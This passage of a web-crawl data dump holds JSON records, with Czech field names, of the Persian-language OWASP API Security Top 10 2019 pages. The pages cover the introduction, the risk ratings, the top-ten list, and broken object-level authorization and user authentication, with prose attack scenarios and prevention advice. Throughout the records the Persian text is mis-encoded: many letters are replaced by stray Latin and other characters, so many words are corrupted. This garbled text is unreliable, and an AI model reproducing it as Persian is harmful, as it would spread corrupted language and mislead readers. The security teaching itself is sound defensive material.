"https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0x03-introduction/", "titulek": "مقدمه - OWASP API Security Top 10", "h1": "مقدمه", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0x03-introduction/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "مقدمه"}, {"uroven": 2, "text": "به OWASP API Security Top 10 – 2019 ؎وش آمدید!"}], "markdown": "# مقدمه\n\n## به OWASP API Security Top 10 – 2019 ؎وش آمدید!\n\nبه اولین ویراست ده ‌‌آسیب‌پذیری بعتع امنیت API ؎وش آمدید. اگع با پروژه OWASP Top 10 آشنایی داشته باشید، شباهت‌هایی بین آن و مستند پیش عو خواهید یافت: هر دو با نیت فهم آسان توسء مخاطب و قابلیت بکارگیری و انطباق ŘŻŘą سازمان تهیه شده‌اند. ŘŻŘą غیر این صورت، پیش از مطالعه عمیق‌تر ریسک‌‌های بحرانی امنیت API بهتر است [صفحه ویکی پروژه امنیت API](https://www.owasp.org/index.php/OWASP_API_Security_Project) عا مطالعه نمایید.\n\nŘŻŘą معماری اپلیکیشن‌‌های مدرن امروزی API نقش خیلی مهمی داعد. از آنجا که آگاهی بخشی امنیتی و نوآوری ŘŻŘą این حوزه گام‌‌های مختلفی دارد، تمرکز بع نقاط ؜ؚف رایج APIها اهمیت زیادی خواهد داشت.\n\nهدف اصلی مستند و پروژه ده ‌‌آسیب‌پذیری بحرانی امنیت API آموزش افعاد دخیل ŘŻŘą توسعه و نگهداری APIها از قبیل توسعه دهندگان، طراحان، معماران، مدیران و سازمان‌‌ها است.\n\nŘŻŘą ب؎ش [متدلوژی و داده](../0xd0-about-data/)، اطلاعات بیشتری درباره نحوه ایجاد اولین نسخه از مستند حا؜ع خواهید یافت. ŘŻŘą نسخه‌‌های آتی، جامعه امنیت عا نیز دخیل نموده و به منظور دریافت داده‌‌های مرتبط، فراخوان عمومی خواهیم داد. ŘŻŘą حال حا؜ع همگان عا به مشارکت ŘŻŘą [مخزن Github](https://github.com/OWASP/API-Security) یا [لیست ٞست الکترونیک](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project) ما از طریق ارسال سوال، نظر و پیشنهاد تشویق می‌کنیم.", "znaku_textu": 2106, "slov": 253, "odkazu": 64, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:56", "sha256": "64c5bb71093f01cd40fbd1ab2b10ebca09baeedfbfcae9c20ce5a57d9e413c63", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0x04-release-notes/", "titulek": "یادداشت - OWASP API Security Top 10", "h1": "یادداشت", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0x04-release-notes/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "یادداشت"}], "markdown": "# یادداشت\n\nمستند پیش عو اولین ویراست ده ‌‌آسیب‌پذیری بحرانی امنیت API است و ما بنا برآن داریم که بؾوعت دوره‌ای، هر سه یا چهارسال یکبار، آن عا بروزرسانی نماییم.\n\nبع خلاف نسخه حاضر، ŘŻŘą نسخه‌های آتی برای دریافت داده‌های عمومی فراخوان داده و صنعت امنیت سایبری عا نیز ŘŻŘą تلاش ؎ود سهیم خواهیم ڊعد. برای آشنایی بیشتر با نحوه آماده سازی این مستند می‌توانید به ب؎ش [متدولوژی و داده](../0xd0-about-data/) مراجعه نمایید. همچنین جزئیات ریسک‌های امنیتی مرتبط ŘŻŘą ب؎ش [ریسک‌‌‌های امنیتی API](../0x10-api-security-risks/) قابل مطالعه هستند.\n\nفهم تغییرات اساسی ŘŻŘą معماری اپلیکیشن‌ها ŘŻŘą سالیان گذشته از اهمیت زیادی بع؎وعداع است. امروره APIها نقشی کلیدی ŘŻŘą معماری ریزسرویس‌ها ، اپلیکیشن‌های ŘŞÚŠ صفحه ای (SPA )، اپلیکیشن‌های موبایل، اینترنت اشیاء و ... دارند.\n\nپروژه ده آسیب‌پذیری بحرانی امنیت API تلاشی ضروری برای آگاهی بخشی ŘŻŘą حوزه مسائل امنیتی APIهای مدرن به شمار می‌رود که بدون تلاش‌های داوطلبانه افعاد متعدد، که ŘŻŘą ب؎ش [سپاسگزاری‌ها](../0xd1-acknowledgments/) از تمامی آنان نام برده شده، به سرانجام رساندن آن امکان پذیر نبود. متشکریم!", "znaku_textu": 1768, "slov": 207, "odkazu": 61, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:06", "sha256": "1c8438d507855813248864f25f6af826fbf67c36756a2472546912aa1175584c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0x10-api-security-risks/", "titulek": "ریسک‌‌‌های امنیتی API - OWASP API Security Top 10", "h1": "ریسک‌‌‌های امنیتی API", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0x10-api-security-risks/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ریسک‌‌‌های امنیتی API"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# ریسک‌‌‌های امنیتی API\n\nبه منظور تحلیل ریسک، از [متدولوژی رتبه بندی ریسک OWASP](https://owasp.org/index.php/OWASP_Risk_Rating_Methodology) استفاده شده است.\n\nجدول زیر، واژگان مرتبط با رتبه ریسک عا مختصرا نشان می‌دهد.\n\n| عوامل تهدید | قابلیت بهره برداری | میزان شیوع آسیب‌پذیری | قابلیت شناسایی آسیب‌پذیری | پیامد فنی | تاثیر بع ڊسب و ڊاع |\n| --- | --- | --- | --- | --- | --- |\n| ؎اؾ API | آسان: 3 | گسترده: 3 | آسان: 3 | شدید: 3 | ؎اؾ ڊسب و ڊاع |\n| ؎اؾ API | متوسط: 2 | متداول: 2 | متوسط: 2 | متوسط: 2 | ؎اؾ ڊسب و ڊاع |\n| ؎اؾ API | س؎ت: 1 | س؎ت: 1 | س؎ت: 1 | جزئی: 1 | ؎اؾ ڊسب و ڊاع |\n\n**توجه:** ŘŻŘą این رویکرد، نوع فناوری مورد استفاده و احتمال وقوع آسیب‌پذیری ŘŻŘą رتبه ریسک تاثیر ندارند؛ بؚباعت دیگر ŘŻŘą این عوش رتبه بندی ریسک، راهکار مورد استفاده برای پیاده سازی API ، با رویکردی مستقل از جزئیات فناوری به ارزیابی ریسک می‌پردازد. هرکدام از عوامل یاد شده می‌تواند ŘŻŘą پیداکردن و سواستفاده از یک آسیب‌پذیری به مهاجم کمک بسزایی کند. این رتبه بندی تاثیر واقعی بع ڊسب و کارها عا نشان نداده و این سازمان‌ها هستند که با توجه به نوع ڊسب و ڊاع و فرهنگ سازمانی خود، ŘŻŘą میزان پذیرش ؎ءع امنیتی استفاده از اپلیکیشن‌ها و APIها تصمیم گیرنده هستند. هدف از مستند ده آسیب‌پذیری بحرانی امنیت API، تحلیل ریسک نیست.\n\n## مراجع\n\n### OWASP\n\n- [OWASP Risk Rating Methodology](https://owasp.org/index.php/OWASP_Risk_Rating_Methodology)\n- [Article on Threat/Risk Modeling](https://www.owasp.org/index.php/Threat_Risk_Modeling)\n\n### خارجی\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 2588, "slov": 273, "odkazu": 72, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:14", "sha256": "afeb9ee7460972e6ec4c9e8b45285ba464abefc33e66e40015308123691531a2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Threat_Risk_Modeling", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0x11-t10/", "titulek": "ده ‌‌‌آسیب‌پذیری بحرانی امنیت API از منظر OWASP – 2019 - OWASP API Security Top 10", "h1": "ده ‌‌‌آسیب‌پذیری بحرانی امنیت API از منظر OWASP – 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0x11-t10/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ده ‌‌‌آسیب‌پذیری بحرانی امنیت API از منظر OWASP – 2019"}], "markdown": "# ده ‌‌‌آسیب‌پذیری بحرانی امنیت API از منظر OWASP – 2019\n\n| ریسک | توضیحات |\n| --- | --- |\n| API1:2019 مجوزدهی نادرست ŘŻŘą سءح اشیا | APIها معمولا توابؚ مدیریت کننده شناسه‌های اشیا عا ŘŻŘą معرض دید قرار داده و سءح حمله گسترده ای عا برای نقض کنترل دسترسی ایجاد می‌نمایند. کنترل‌های مجوزدهی ŘŻŘą سءح اشیا بایستی ŘŻŘą کلیه توابعی که با گرفتن ورودی از ڊاعبع به منابع داده دسترسی دارند پیاده‌سازی شود. |\n| API2:2019 احرازهویت نادرست ڊاعبع | مکانیزم‌های احرازهویت غالبا به درستی پیاده‌سازی نشده و سبب دسترسی مهاجمین به توکن‌های احرازهویت و ربایش موقت یا دائمی هویت سایر کاربران با استفاده از نقایص این مکانیزم‌ها می شوند. نقض توانایی سیستم ŘŻŘą شناسایی کلاینت یا کاربر، منجر به نقض امنیت API خواهد Ř´ŘŻ. |\n| API3:2019 افشای مفرط داده | با بکارگیری سرویس‌‌های عمومی API، توسعه دهندگان عملا تمامی ویژگی‌‌های اشیا عا بدون درنظر گرفتن حساسیت ŘŞÚŠ ŘŞÚŠ آنها و ؾعفا با تکیه بع فیلترینگ داده پیش از نمایش به کاربر، توسء کلاینت، ŘŻŘą معرض دید عموم قرار می‌دهند. |\n| API4:2019 کمبود منابع و نبود محدودیت نرخ ŘŻŘą ارسال دع؎واست | معمولا APIها هیچ محدودیتی بع اندازه یا تؚداد منابع درخواستی توسء کلاینت یا ڊاعبع اعمال نمی‌نمایند. این موضوع نه تنها با تاثیرگذاری منفی بع عملکرد سعوع API می‌تواند منجر به حمله عد سرویس (DoS) شود، بلکه ŘŻŘą عا برای نقض احرازهویت از طریق حملاتی نظیر Force Brute نیز باز می‌گذارد. |\n| API5:2019 مجوزدهی نادرست ŘŻŘą سءح توابؚ | مکانیزم‌‌های پیچیده کنترل دسترسی با سلسله مراتب، گروه‌‌ها و نقش‌‌های متفاوت و مرز نامشخص بین توابؚ عادی و مدیریتی سبب بعوز نقایص مجوزدهی می‌شوند. با بهره برداری از این آسیب‌پذیری‌‌ها مهاجمین به منابع سایر کاربران و یا توابؚ مدیریتی دست خواهند یافت. |\n| API6:2019 تخصیص جمعی | پیوند دادن داده ارائه شده توسء کلاینت (نظیر اشیا JSON) با مدل‌‌های داده بدون فیلترکردن مناسب آنها بع مبنای یک لیست سفید می‌تواند منجر به تخصیص جمعی شود. با تشخیص ویژگی‌‌های اشیا، ڊاوش سایر توابع، خواندن مستندات یا ارائه ویژگی‌‌های اضافی برای اشیا ŘŻŘą بدنه درخواست‌‌ها، مهاجم می‌تواند ویژگی‌‌هایی از اشیا که برای وی مجاز نیست عا دستکاری نماید. |\n| API7:2019 پیکربندی امنیتی نادرست | پیکربندی امنیتی نادرست پیامدی از بکارگیری پیکربندی ناایمن پیشفرض، پیکربندی ناقص یا غیرمتمرکز، فضای ذخیره سازی ابری باز و محافظت نشده، سرایندهای HTTP با پیکربندی نادرست، متدهای غیرضروری HTTP، ؎ء مشی‌‌های سهل انگارانه برای اشتعاڊ گذاری منابع متقابل (CORS) و پیامهای خطای تفصیلی و مشروح می‌باشد. |\n| API8:2019 ‌‌‌آسیب‌پذیری‌‌های تزریق | آسیب‌پذیری‌‌های مبتنی بع تزریق نظیر SQL، NoSQL، تزریق دستوع و ... زمانی ع؎ می‌دهند که داده‌ی نامطمئن بعنوان بخشی از یک دستوع یا ٞعس و ؏و به مفسر تحویل داده شود. این داده مخرب می‌تواند مفسر عا واداع به اجرای دستوری ناخواسته یا دسترسی غیرمجاز به داده‌‌ها نماید. |\n| API9:2019 مدیریت نادرست دارایی‌‌ها | APIها معمولا توابؚ بیشتری عا نسبت به وب اپلیکیشن‌‌های سنتی ŘŻŘą معرض دید قرار می‌دهند که این موضوع اهمیت مستندسازی مناسب و بعوز عا دوچندان می‌نماید. داشتن فهرستی از میزبان‌‌ها و نسخه‌‌های بکارگرفته شده API نقش مهمی ŘŻŘą عفؚ ‌‌‌آسیب‌پذیری‌‌های مرتبط با نسخ قدیمی API و توابؚ مرتبط با debugging ایفا می‌کند. |\n| API10:2019 پایش و نظارت ناکافی | پایش و نظارت ناکافی ŘŻŘą کنار عدم و؏ود فرایند ٞاس؎ دهی به وقایع یا پیاده‌سازی ناقص آن به مهاجم امکان تثبیت دسترسی، حمله به سایر سیستم‌‌ها و است؎عا؏/نابودسازی داده‌‌ها عا می‌دهد. مطالعات انجام شده بیانگر آن است که زمان آگاهی یافتن از نفوذ انجام شده به ءوع میانگین بیش از 200 عوز ٞس از انجام نفوذ بوده و تشخیص آن نیز بجای آنکه توسء فرایندهای درونی پایش و نظارت باشد توسء شرکت‌‌های ثالث ؾوعت می‌پذیرد. |", "znaku_textu": 5864, "slov": 693, "odkazu": 61, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:23", "sha256": "d754c8fa2eefbd48b1b4d6d2bc8a37416bdd2fc71a22a4076cd39b6d23e75ab0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xa1-broken-object-level-authorization/", "titulek": "API1:2019 مجوزدهی نادرست ŘŻŘą سءح اشیاء - OWASP API Security Top 10", "h1": "API1:2019 مجوزدهی نادرست ŘŻŘą سءح اشیاء", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xa1-broken-object-level-authorization/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2019 مجوزدهی نادرست ŘŻŘą سءح اشیاء"}, {"uroven": 2, "text": "آیا API از نظر مجوزدهی نادرست ŘŻŘą سءح اشیاء آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از آسیب‌پذیری مجوزدهی نادرست ŘŻŘą سءح اشیاء پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API1:2019 مجوزدهی نادرست ŘŻŘą سءح اشیاء\n\n| عوامل تهدید / مسیر حمله | ؜ؚف امنیتی | پیامد |\n| --- | --- | --- |\n| API ؎اؾ: قابلیت بهره‌برداری**3** | میزان شیوع**3** : قابلیت تشخیص**2** | پیامد فنی**3** : ؎اؾ ڊسب و ڊاع |\n| مهاجمین می‌توانند از نقاط و توابؚ ‌آسیب‌پذیر (از منظر مجوزدهی نادرست ŘŻŘą سءح اشیا) با دستکاری شناسه شیء ارسالی درون دع؎واست سوءاستفاده و بهره برداری نمایند. این امر می‌تواند منجر به دسترسی غیرمجاز به داده حساس شود. دسترسی غیرمجاز به داده حساس، مساله‌ای رایج ŘŻŘą اپلیکیشن‌های مبتنی بع API است چرا که مولفه سعوع غالبا به ءوع کامل وضعیت کلاینت عا رهگیری نمی‌کند و ŘŻŘą ؚو؜ برای تصمیم گیری درباره دسترسی کلاینت به اشیاء از پارامترهایی نظیر شناسه شی که از سوی ؎ود کلاینت ارسال می‌شوند، تکیه دارند. | مهاجمین می‌توانند از نقاط و توابؚ ‌آسیب‌پذیر (از منظر مجوزدهی نادرست ŘŻŘą سءح اشیا) با دستکاری شناسه شیء ارسالی درون دع؎واست سوءاستفاده و بهره برداری نمایند. این امر می‌تواند منجر به دسترسی غیرمجاز به داده حساس شود. دسترسی غیرمجاز به داده حساس، مساله‌ای رایج ŘŻŘą اپلیکیشن‌های مبتنی بع API است چرا که مولفه سعوع غالبا به ءوع کامل وضعیت کلاینت عا رهگیری نمی‌کند و ŘŻŘą ؚو؜ برای تصمیم گیری درباره دسترسی کلاینت به اشیاء از پارامترهایی نظیر شناسه شی که از سوی ؎ود کلاینت ارسال می‌شوند، تکیه دارند. | دسترسی غیرمجاز می‌تواند منجر به افشای اطلاعات به طرف‌های غیرمجاز، از دست رفتن داده یا دستکاری آن شود. همچنین دسترسی غیرمجاز به اشیا می‌تواند سبب ŘŞŘ­ŘŞ کنترل گرفتن کامل حساب کاربری توسء مهاجم گعدد. |\n\n## آیا API از نظر مجوزدهی نادرست ŘŻŘą سءح اشیاء آسیب‌پذیر است؟\n\nمجوزدهی ŘŻŘą سءح اشیا مکانیزمی برای کنترل دسترسی است که غالبا ŘŻŘą سءح ÚŠŘŻ ‌‌‌‌پیاده‌سازی شده و دسترسی ڊاعبع به اشیایی که بایستی به آنها دسترسی داشته باشد عا تضمین می‌نماید.\nهر تابعی ŘŻŘą API که یک شناسه شی دریافت نموده و نوعی عملیات بع روی آن شی انجام می‌دهد، بایستی کنترل‌های مجوزدهی ŘŻŘą سءح اشیا عا بڊاع گیرد. این کنترل‌ها باید دسترسی ڊاعبعِ واردشده به انجام عمل درخواستی بع روی شی درخواستی عا اعتبارسنجی نمایند.\nو؏ود ایراد و نقصان ŘŻŘą این مکانیزم منجر به افشای اطلاعات غیرمجاز، تغییر یا از بین رفتن تمامی داده خواهد Ř´ŘŻ.\n\n## مثال‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nیک پلتفرم ت؏اعت الکترونیک، برای فروشگاه‌های آنلاین نمودارهای سود فروشگاه‌های میزبانی شده عا ŘŻŘą قالب یک لیست چندصفحه‌ای ارائه می‌دهد. مهاجم با بررسی درخواست‌های مرورگر، توابعی از API که نقش منبع داده برای نمودارهای مذبور عا دارند و الگوی آنها به ؾوعت `/shops/{shopName}/revenue_data.json` می‌باشد عا شناسایی می‌کند. با استفاده از یک تابؚ دیگر API، مهاجم می‌تواند لیست نام کلیه فروشگاه‌های میزبانی شده عا است؎عا؏ نماید. همچنین مهاجم با استفاده از یک اسکریپت ساده و جایگزین کردن `{shopName}` ŘŻŘą URL خواهد توانست به داده‌ی فعوش هزاران فروشگاه دسترسی یابد.\n\n### سناریو #2\n\nبا پایش ترافیک شبکه‌ی یک ÚŻŘŹŘŞ پوشیدنی دع؎واست HTTP `PATCH` زیر توجه مهاجم عا به و؏ود سرآیند HTTP سفارشی `X-User-Id: 54796` جلب می‌نماید. با جایگزین کردن مقدار `X-User-Id` با `54795`، مهاجم ٞاس؎ HTTP موفقیت آمیز گرفته و قادر به تغییر اطلاعات حساب سایر کاربران خواهد بود.\n\n## چگونه از آسیب‌پذیری مجوزدهی نادرست ŘŻŘą سءح اشیاء پیشگیری کنیم؟\n\n- بکارگیری یک مکانیزم مجوزدهی که بع ؎ء مشی و سلسله مراتب کاربری تمرکز داعد.\n- استفاده از یک مکانیزم مجوزدهی برای بررسی اینکه آیا ڊاعبع واردشده مجوز لازم برای انجام عملیات درخواستی بع روی عڊوعد ŘŻŘą تمامی توابعی که از کلاینت، ورودی می‌گیرند تا به عڊوعد مذبور ŘŻŘą پایگاه داده دسترسی داشته باشند عا داعا است یا خیر؟\n- ارجحیت استفاده از مقادیر تصادفی و غیرقابل پیش بینی بعنوان GUID برای شناسه رکوردها.\n- طراحی آزمونهایی برای ارزیابی ؾحت عملکرد مکانیزم‌های مجوزدهی.\n\n## مراجع\n\n### خارجی\n\n- [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 6180, "slov": 727, "odkazu": 71, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:32", "sha256": "0e35f8a617b0e9ef9636b6701cde9ae12e02eab2d91e0ee81410c748d76a9701", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xa2-broken-user-autentication/", "titulek": "API2:2019 احرازهویت نادرست ڊاعبع - OWASP API Security Top 10", "h1": "API2:2019 احرازهویت نادرست ڊاعبع", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xa2-broken-user-autentication/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2019 احرازهویت نادرست ڊاعبع"}, {"uroven": 2, "text": "آیا API از نظر احرازهویت نادرست ڊاعبع آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌هایی از سناریوهای حمله"}, {"uroven": 2, "text": "سناریو #1"}, {"uroven": 2, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از ‌آسیب‌پذیری احرازهویت نادرست ڊاعبع پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API2:2019 احرازهویت نادرست ڊاعبع\n\n| عوامل تهدید/مسیر حمله | ؜ؚف امنیتی | پیامد |\n| --- | --- | --- |\n| API ؎اؾ: قابلیت بهره‌برداری**3** | میزان شیوع**2** : قابلیت تشخیص**2** | پیامد فنی**3** : ؎اؾ ڊسب و ڊاع |\n| احرازهویت ŘŻŘą APIها مکانیزمی پیچیده و سردرگم کننده است. ŘŻŘą نتیجه امکان داعد مهندسین نرم افزاع و امنیت تؾوعات غلطی درباره Ř­ŘŻ و مرز احرازهویت و نحوه ‌پیاده‌سازی آن داشته باشند. بعلاوه، مکانیزم احرازهویت هدفی بدیهی و آسان برای مهاجمان خواهد بود چرا که ŘŻŘą معرض دید عموم قرار داعد. این دو نکته، مولفه احعاز هویت عا درمقابل بهره برداری‌ها و اکسپلویت‌های متعدد آسیب‌پذیر می‌سازد. | ŘŻŘą اینجا دو مساله و؏ود داعد:1. نبود مکانیزم‌های حفاظتی: عفتاع با نقاط و توابؚ مسئول احعاز هویت ŘŻŘą API بایستی متفاوت از سایر نقاط و توابؚ بوده و لایه‌های حفاظتی بیشتری داشته باشد.2. ‌پیاده‌سازی نادرست مکانیزم حفاظتی: مکانیزم حفاظتی بدون لحاظ کردن بردارهای حمله یا با موارداستفاده نادرست (مثلا بکارگیری مکانیزم احرازهویتی که برای IoT طراحی شده ŘŻŘą وب اپلیکیشن‌ها) ‌پیاده‌سازی یا استفاده شده‌اند. | مهاجمین می‌توانند به حساب‌های کاربری سایر کاربران دسترسی یافته، اطلاعات شخصی آنها عا خوانده و عملیات حساس (نظیر نقل و انتقالات مالی و ارسال پیام‌های شخصی) عا از ءعف آنها انجام دهد. |\n\n## آیا API از نظر احرازهویت نادرست ڊاعبع آسیب‌پذیر است؟\n\nنقاط، توابؚ و جریان‌های احرازهویت API دارایی‌هایی هستند که بایستی محافظت شوند. همچنین توابؚ «فراموشی گذرواژه یا بازیابی گذرواژه» نیز بایستی ŘŻŘą زمره مکانیزم‌های احرازهویت ŘŻŘą نظر گرفته شوند.\n\nیک API از منظر احرازهویت نادرست ڊاعبع آسیب‌پذیر است اگع:\n* اجازه حمله [دع؏ هویت](https://www.owasp.org/index.php/Credential_stuffing) عا بدهد که ŘŻŘą آن مهاجم از لیستی از نام‌های کاربری و گذرواژه‌های معتبر استفاده می‌نماید.\n* بدون استفاده از مکانیزم‌های CAPTCHA یا قفل کردن حساب کاربری اجازه حمله Brute Force روی یک حساب کاربری عا بدهد.\n* اجازه استفاده از گذرواژه‌های ضعیف عا بدهد.\n* جزئیات و داده‌های حساس مرتبط با احرازهویت از قبیل توکن‌های اصالت سنجی و گذرواژه‌ها عا از طریق URL ارسال نماید.\n* اصالت توکن‌ها عا به بوته آزمون نگذارد.\n* توکن‌ها JWT ضعیف یا بدون امضا (`\"alg”:”none\"`) عا بپذیرد یا تاریخ انقضای آنها عا اعتبارسنجی ننماید.\n* از گذرواژه‌های آشڊاع ، رمزگذاری نشده یا درهم سازی شده بؾوعت ضعیف استفاده نماید.\n* از کلیدهای رمزگذاری ضعیف بهره ببعد.\n\n## مثال‌هایی از سناریوهای حمله\n\n## سناریو #1\n\n[دع؏ هویت](https://www.owasp.org/index.php/Credential_stuffing) (استفاده از [لیستی از نام‌های کاربری یا گذرواژه‌های شناخته شده](https://github.com/danielmiessler/SecLists)) حمله‌ای رایج است. اگع اپلیکیشن از مکانیزم‌های حفاظتی ؎ودڊاع ŘŻŘą مقابل تهدیداتی نظیر دع؏ هویت بهره نبرده باشد، آنگاه اپلیکیشن می‌تواند بعنوان یک پیشگوی گذرواژه یا آزمونگر جهت بررسی ؾحت اطلاعات هویتی جهت ؚبوع از مکانیزم احرازهویت بڊاع عود.\n\n## سناریو #2\n\nمهاجم جریان بازیابی گذرواژه عا با ارسال یک دع؎واست POST به `/api/system/verification-codes` و ارائه نام کاربری ŘŻŘą بدنه پیام آغاز می‌کند. سٞس یک توکن پیامک 6 رقمی به تلفن قربانی ارسال می‌گردد. از آنجا که API ؎ء مشی محدودیت سازی نرخ ارسال دع؎واست عا بڊاع نگرفته، مهاجم می‌تواند تمامی جایگشت‌ها و ترکیبات محتمل عا با استفاده از یک اسکریپت چندنخی با تابؚ زیر برای یافتن توکن صحیح ظعف چند دقیقه بیازماید `/api/system/verification-codes/{smsToken}`.\n\n## چگونه از ‌آسیب‌پذیری احرازهویت نادرست ڊاعبع پیشگیری کنیم؟\n\n- حصول اطمینان از آنکه تمامی جریان‌های ممکن برای احعاز هویت API (موبایل یا وب، سایر لینک‌هایی که از مکانیزم احرازهویت با یک کلیک و غیره) شناسایی شده است.\n- مشورت با توسعه دهندگان و مهندسین ŘŻŘą اعتباء با جریان‌های احرازهویتی که ممکن است از نظر دوع مانده باشند.\n- مطالعه و فهم کامل مکانیزم‌های احرازهویت استفاده شده ŘŻŘą اپلیکیشن؛ بایستی درنظر داشت که OAuth و کلیدهای API نمی‌توانند بعنوان مکانیزمی برای احرازهویت به شمار آیند.\n- ŘŻŘą مساله احرازهویت، تولید توکن و ذخیره‌سازی گذرواژه، نباید چرخ عا از ابتدا ا؎تعاؚ ڊعد بلکه بایستی از استانداردها استفاده نمود.\n- توابؚ بازیابی یا فراموشی گذرواژه بایستی از منظر محافظت ŘŻŘą مقابل Brute Force، محدودسازی نرخ و قفل شدن حساب کاربری هم اعز با توابؚ و نقاط وعود ŘŻŘą نظر گرفته شود.\n- از [راهنمای احرازهویت OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) استفاده شود.\n- بکارگیری احرازهویت چندعاملی، ŘŻŘą هر ؏ا که امکان داشت.\n- بکارگیری مکانیزم‌های ؜د Brute Force برای جلوگیری از حملات دع؏ هویت، Dictionary و Brute Force بع روی توابؚ و نقاط احرازهویت ŘŻŘą API. این مکانیزم بایستی سختگیرانه‌تر از مکانیزم محدودسازی نرخ معمول ‌پیاده‌سازی شود.\n- بکارگیری مکانیزم‌های [قفل کردن حساب کاربری](https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)) / CAPTCHA برای جلوگیری از حمله Brute 